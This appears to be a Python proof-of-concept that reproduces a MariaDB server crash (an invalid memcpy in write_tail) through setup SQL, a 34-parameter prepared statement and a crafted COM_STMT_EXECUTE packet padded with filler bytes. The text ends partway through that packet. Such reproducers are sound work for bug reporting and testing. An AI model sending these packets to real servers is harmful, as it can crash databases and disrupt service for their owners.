#!/usr/bin/env python3
"""
MariaDB protocol crash PoC: storage/maria/ma_blockrec.c:2001 write_tail ASan failure.

Observed crash:
  storage/maria/ma_blockrec.c:2001:
  AddressSanitizer reports a CHECK failure while reporting an invalid memcpy in write_tail().

Relevant stack:
  write_tail()
  write_block_record()
  allocate_and_write_block_record()
  maria_write()
  handler::ha_write_tmp_row()
  mysql_open_cursor()
  Prepared_statement::execute_loop()
  mysqld_stmt_execute()

Trigger sequence:
  1. Recreate the test schema from SETUP_SQL_SCRIPT.
  2. COM_STMT_PREPARE with 34 parameters.
  3. COM_STMT_EXECUTE #1 with cursor flag 0x01.

Usage:
  python3 reproduce.py -H <host> -P <port> -u <user> -p <password>

This is a protocol-level reproducer. The SQL text alone is not expected
to reproduce the bug; the trigger depends on COM_STMT_PREPARE plus
the crafted COM_STMT_EXECUTE packet(s) below.
"""
SCRIPT_DESCRIPTION = 'Self-contained MariaDB protocol PoC for ma_blockrec write_tail crash'

SETUP_SQL_SCRIPT = """\
DROP DATABASE IF EXISTS `mydb`;


CREATE DATABASE `mydb`;


USE `mydb`;


SET FOREIGN_KEY_CHECKS=0;


SET UNIQUE_CHECKS=0;



CREATE TABLE `t1189` (
  `c1` int(11) DEFAULT NULL,
  `c2` double DEFAULT NULL,
  `c3` tinyint(4) NOT NULL,
  `c4` int(11) NOT NULL,
  `c5` int(11) DEFAULT NULL,
  `c6` int(11) DEFAULT NULL,
  `c7` int(11) DEFAULT NULL,
  `c8` tinyint(4) DEFAULT NULL,
  `c9` int(11) DEFAULT NULL,
  `c10` text DEFAULT NULL,
  `c11` text NOT NULL,
  PRIMARY KEY (`c4`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1190` (
  `c1` int(11) NOT NULL,
  `c2` text DEFAULT NULL,
  PRIMARY KEY (`c1`),
  UNIQUE KEY `c1` (`c1`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1191` (
  `c1` int(11) NOT NULL,
  `c2` tinyint(4) DEFAULT NULL,
  `c3` tinyint(4) DEFAULT NULL,
  `c4` tinyint(4) NOT NULL,
  `c5` int(11) NOT NULL,
  `c6` double DEFAULT NULL,
  `c7` text DEFAULT NULL,
  PRIMARY KEY (`c1`,`c5`),
  KEY `i676` (`c2`,`c6`,`c4`,`c5`,`c3`,`c1`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1192` (
  `c1` int(11) DEFAULT NULL,
  `c2` double NOT NULL,
  `c3` tinyint(4) DEFAULT NULL,
  `c4` int(11) DEFAULT NULL,
  `c5` int(11) NOT NULL,
  PRIMARY KEY (`c5`),
  UNIQUE KEY `c5` (`c5`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1194` (
  `c1` int(11) NOT NULL,
  `c2` tinyint(4) DEFAULT NULL,
  `c3` double DEFAULT NULL,
  `c4` tinyint(4) DEFAULT NULL,
  `c5` tinyint(4) DEFAULT NULL,
  `c6` tinyint(4) DEFAULT NULL,
  `c7` double DEFAULT NULL,
  PRIMARY KEY (`c1`),
  UNIQUE KEY `c1` (`c1`),
  CONSTRAINT `CONSTRAINT_1` CHECK (1 = 1)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1196` (
  `a1` double DEFAULT NULL,
  `a2` double DEFAULT NULL,
  `a3` varchar(21) DEFAULT NULL,
  `a4` varchar(3) NOT NULL,
  `a5` varchar(3) NOT NULL,
  `a6` int(1) NOT NULL,
  `a7` int(1) NOT NULL,
  `a8` bigint(10) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;




INSERT INTO `t1192` (`c1`, `c2`, `c3`, `c4`, `c5`) VALUES (X'30', X'322E383437363033373537313334333236653138', X'30', X'30', X'30');




INSERT INTO `t1194` (`c1`, `c2`, `c3`, `c4`, `c5`, `c6`, `c7`) VALUES (X'30', NULL, NULL, X'30', NULL, X'31', X'31362E3332');




CREATE ALGORITHM=UNDEFINED VIEW `v1193` AS select `ref_0`.`c11` AS `a1`,0 <> 0 AS `a2`,case when 0 <> 0 then `ref_0`.`c11` else `ref_0`.`c10` end AS `a3`,`ref_0`.`c10` AS `a4`,round(`ref_0`.`c1`,cast((`ref_0`.`c1` & 0xffffffff) + 2147483648 & 0xffffffff as signed) - 2147483648) AS `a5`,32768.4 MOD sin(cast((`ref_0`.`c4` & 0xffffffff) + 2147483648 & 0xffffffff as signed) - 2147483648 between `ref_0`.`c1` and `ref_0`.`c9`) AS `a6`,cast(`ref_0`.`c11` as char charset utf8mb4) like '4_' AS `a7`,(select `t1190`.`c2` from `t1190` order by `t1190`.`c2` limit 4,1) >= cast(`ref_0`.`c11` as char charset utf8mb4) AS `a8`,cast(`ref_0`.`c10` as char charset utf8mb4) <=> (select cast(`t1190`.`c2` as char charset utf8mb4) from `t1190` order by `t1190`.`c2` limit 71,1) and `ref_0`.`c11` like 'xq_5_bhz' in (0 <> 0,0 <> 0,(select count(cast(`t1189`.`c11` as char charset utf8mb4)) from `t1189`)  not like 'u_1owt4f' = cast(65535 as signed),0 <> 0 or (select count(cast(`t1191`.`c6` as double)) from `t1191`) = `ref_0`.`c2`,1 = 1) AS `a9` from `t1189` `ref_0` where cast(NULL as char charset utf8mb4) <= cast(`ref_0`.`c11` as char charset utf8mb4) order by `ref_0`.`c11`,0 <> 0,case when 0 <> 0 then `ref_0`.`c11` else `ref_0`.`c10` end,`ref_0`.`c10`,round(`ref_0`.`c1`,cast((`ref_0`.`c1` & 0xffffffff) + 2147483648 & 0xffffffff as signed) - 2147483648),32768.4 MOD sin(cast((`ref_0`.`c4` & 0xffffffff) + 2147483648 & 0xffffffff as signed) - 2147483648 between `ref_0`.`c1` and `ref_0`.`c9`),cast(`ref_0`.`c11` as char charset utf8mb4) like '4_',(select `t1190`.`c2` from `t1190` order by `t1190`.`c2` limit 4,1) >= cast(`ref_0`.`c11` as char charset utf8mb4),cast(`ref_0`.`c10` as char charset utf8mb4) <=> (select cast(`t1190`.`c2` as char charset utf8mb4) from `t1190` order by `t1190`.`c2` limit 71,1) and `ref_0`.`c11` like 'xq_5_bhz' in (0 <> 0,0 <> 0,(select count(cast(`t1189`.`c11` as char charset utf8mb4)) from `t1189`)  not like 'u_1owt4f' = cast(65535 as signed),0 <> 0 or (select count(cast(`t1191`.`c6` as double)) from `t1191`) = `ref_0`.`c2`,1 = 1) desc limit 15;



SET UNIQUE_CHECKS=1;


SET FOREIGN_KEY_CHECKS=1;
"""

PREPARE_SQL = """\
select 
    subq_0.a8 as a1,
    subq_0.a2 as a2,
    (0<>0) as a3,
    ? as a4,
    case when (NOT NOT (cast((((? && ?) &0xff)+128)&0xff as signed)-128)) then subq_0.a6 else (select count(cast(t1189.c10 as char)) from t1189) end as a5,
    case when (NOT NOT (cast(? as signed) && subq_0.a9)) then subq_0.a9 else (cast((((select (cast(((t1189.c1 &0xffffffff)+2147483648)&0xffffffff as signed)-2147483648) from t1189 order by c1 limit 1 offset 3) &0xffffffff)+2147483648)&0xffffffff as signed)-2147483648) end as a6,
    abs(subq_0.a9) as a7,
    (NOT NOT ((select v1193.a1 from v1193 limit 1 offset 66) <=> cast(subq_0.a5 as char))) as a8,
    subq_0.a5 as a9,
    ((cast(((case when (NOT NOT (? && ((((1=1)
                    or
                  (0<>0))
                  and
                (cast(? as char) is not NULL))
                or
              (cast(subq_0.a6 as char) <> (
                select 
                      ? as a1
                    from v1193 as ref_4
                    where (0<>0)
                  union all (
                    select 
                      ? as a1
                    from t1192 as ref_5
                    where (1=1)
                  )
                  limit 1
                ))))) then subq_0.a9 else subq_0.a9 end &0xffffffff)+2147483648)&0xffffffff as signed)-2147483648) between subq_0.a9 and subq_0.a9) as a10,
    ((NOT NOT (? != (select (cast(((t1192.c5 &0xffffffff)+2147483648)&0xffffffff as signed)-2147483648) from t1192 order by c5 limit 1 offset 3)))
        or
      (NOT NOT (EXISTS (
              select distinct
                subq_0.a5 as a1
              from t1191 as ref_6
              where (((1=1)
                    or
                  (0<>0))
                  and
                EXISTS (
                    select 
                      cast(? as char) as a1
                    from t1194 as ref_7
                    where (0<>0)
                    order by a1 asc
                    limit 176
                  ))
              order by a1 desc
            ) <= cast(? as decimal)))) as a11
  from (select 
          ref_0.c2 as a1,
          ? as a2,
          ref_0.c2 as a3,
          ? as a4,
          ? as a5,
          ? as a6,
          (ref_0.c4 not in (
            select 
                  ? as a1
                from t1196 as ref_2
                where (NOT NOT (cast(? as char) <= ?))
              union all (
                select 
                  ? as a1
                from t1190 as ref_3
                where (NOT NOT (cast(((((0<>0) != ?) &0xff)+128)&0xff as signed)-128))
              )
            )) as a7,
          ? as a8,
          truncate(ref_0.c1, ref_0.c5) as a9
        from t1192 as ref_0
        where (cast(? as signed) <= (
          select 
              ? as a1
            from t1194 as ref_1
            where (NOT NOT (? XOR cast(? as double)))
            limit 1
          ))) as subq_0
  where ((NOT NOT (? < (0<>0)))
      or
    (NOT NOT (subq_0.a9 = cast(subq_0.a4 as double))))
union all (
  select 
    subq_2.a3 as a1,
    subq_2.a3 as a2,
    (cast(? as signed) is NULL) as a3,
    subq_2.a1 as a4,
    subq_2.a3 as a5,
    (cast(((subq_2.a2 &0xffffffff)+2147483648)&0xffffffff as signed)-2147483648) as a6,
    (cast(((subq_2.a1 &0xffffffff)+2147483648)&0xffffffff as signed)-2147483648) as a7,
    (cast(? as double) is not NULL) as a8,
    st_geomfromtext(cast(subq_2.a3 as char)) as a9,
    EXISTS (
        select 
          subq_2.a3 as a1
        from t1189 as ref_9
        where (ref_9.c11 not in (cast((select count(cast(t1196.a8 as decimal)) from t1196) as char), (select count(t1192.c2) from t1192), ref_9.c11, ref_9.c11, subq_2.a3))
      ) as a10,
    (NOT NOT (cast(? as double) != (cast(((subq_2.a1 &0xffffffff)+2147483648)&0xffffffff as signed)-2147483648))) as a11
  from (select 
          cast(? as signed) as a1,
          (? is not NULL) as a2,
          subq_1.a4 as a3,
          cast(? as decimal) as a4,
          subq_1.a2 as a5
        from (select 
                ref_8.c10 as a1,
                ref_8.c2 as a2,
                ref_8.c1 as a3,
                ref_8.c10 as a4,
                (NOT NOT ((1=1) && ?)) as a5
              from t1189 as ref_8
              where (? not like '%_s_cee_70')
              limit 149) as subq_1
        where (subq_1.a3 between (cast(((subq_1.a3 &0xffffffff)+2147483648)&0xffffffff as signed)-2147483648) and subq_1.a3)
        limit 63) as subq_2
  where (subq_2.a3 like 'm_z')
)
limit 33"""

EXECUTE_PAYLOADS = [
    # COM_STMT_EXECUTE packet 1.
    bytes.fromhex(
        "17"          # command: COM_STMT_EXECUTE
        "00000000"    # statement id, patched below
        "01"          # flags
        "01000000"    # iteration count
        "0000024201"      # null bitmap (34 parameters)
        "01"          # new_params_bound_flag
        # parameter type metadata and parameter values
        """
        fe0003800500fe00038003000f0003000300030003000300fe00fe00f600fb8003000f0003800500fe80f600fe000300
        fe000500fe80030005000300fe000300fe800300fc004043434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
